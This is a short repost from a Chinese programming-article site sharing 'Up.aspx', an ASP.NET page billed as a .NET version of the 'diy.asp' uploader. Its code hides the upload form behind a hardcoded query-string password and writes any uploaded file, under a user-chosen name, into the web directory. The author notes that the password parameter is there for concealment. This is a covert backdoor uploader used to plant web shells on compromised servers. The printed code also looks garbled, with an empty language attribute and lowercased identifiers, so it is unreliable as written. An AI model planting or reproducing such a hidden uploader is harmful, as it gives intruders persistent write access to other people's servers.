欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

Up.aspx C#版

程序员文章站 2022-05-17 14:49:41
 by:bin最近看见网上有人发了一个diy.asp的.net的版本,毕竟x的语法要求相对严谨,尽量减少代码的数量。我也发一个上传的东东。其实可以完全做成c/s版的,不过...
 
by:bin
最近看见网上有人发了一个diy.asp的.net的版本,毕竟x的语法要求相对严谨,尽量减少代码的数量。
我也发一个上传的东东。其实可以完全做成c/s版的,不过感觉没什么必要。可以自定义文件名,用参数访问达到隐蔽的效果。没有做异常处理!
提示:访问的格式为 xxx.aspx?pass=bin
<%@ page language="" debug="true" validaterequest="false"%>
<%@ import namespace="system.web" %>
<script runat="server">
protected void page_load(object sender, eventargs e)
{
 string pass = "bin";//密码
 form1.visible = false;
 if ( pass == request.querystring["pass"])
 {
 form1.visible = true;
 }
}
protected void button1_click(object sender, eventargs e)
{
 fileupload.postedfile.saveas(server.mappath("./") + textbox1.text);
 
}
</script>
<head runat="server">
<title>upload</title>
</head>
<body>
 <form id="form1" runat="server">
 <p>
 <asp:fileupload id="fileupload" runat="server" />&nbsp; 文件名:<asp:textbox id="textbox1" runat="server"></asp:textbox>
 <asp:button id="button1" runat="server" onclick="button1_click" text="up" /></p>
 </form>
</body>
</html>